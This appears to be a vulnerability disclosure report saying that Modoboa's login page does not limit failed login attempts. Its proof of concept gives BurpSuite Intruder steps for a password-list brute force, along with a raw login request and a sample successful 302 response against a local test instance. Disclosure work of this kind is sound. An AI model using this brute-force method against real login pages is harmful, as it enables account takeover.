Description

Modoboa does not restrict or limit unsuccessful login attempts allowing an attacker to brute force the password of a known user

Proof of Concept

Steps to Reproduce:

Capture login request with BurpSuite Send to Intruder Replay the login request with a different password value utilizing a password list payload Should the password exist a "302 Found" reason code will be issued Unsuccessfull attempts are returned with a "401 Unauthorized" reason BurpSuite will continute attempting all passwords in the password list until complete Request to be replayed:

POST /accounts/login/ HTTP/1.1
Host: 127.0.0.1:8000
Content-Length: 123
Cache-Control: max-age=0
sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1:8000
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1:8000/accounts/login/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: lhc_vid=6329efff387471209bb0; fsNick=admin; fsLogkey=NitRWJcUvIn12gjh8kVKazD07MsuqHmxeXAT45fCyLpGbPElZBrOw3dSFYQo96; fsLang=en_EN; fsCompany=1; csrftoken=RlWHrJOqodNZ9lTk6N6WUMhBTQ2LVNhZVDSEs3tOHSx4eI3bbXnNQ2Wfz6IkargL
Connection: close

Response on successful guess:

HTTP/1.1 302 Found
Date: Thu, 19 Jan 2023 21:27:50 GMT
Server: WSGIServer/0.2 CPython/3.9.16
Content-Type: text/html; charset=utf-8
Location: /dashboard/
Expires: Thu, 19 Jan 2023 21:27:50 GMT
Cache-Control: max-age=0, no-cache, no-store, must-revalidate, private
X-Frame-Options: SAMEORIGIN
Vary: Accept-Language, Cookie
Content-Language: en
Content-Length: 0
Set-Cookie:  csrftoken=JGu3cD6SKchdVSkBFRUiofpt0h8Z6P5OLf3DRmWzKHNkaVhLUDNKFlcTg2uACDs4; expires=Thu, 18 Jan 2024 21:27:50 GMT; Max-Age=31449600; Path=/; SameSite=Lax
Set-Cookie:  sessionid=0mah6hyvojbt7cbjh06sksu61sj4tnay; HttpOnly; Path=/; SameSite=Lax

Impact

The impact is unlimited password attempts leading to Brute Force attacks on the login page. Should this software be hosted on a website, it may also lead to Denial of Service.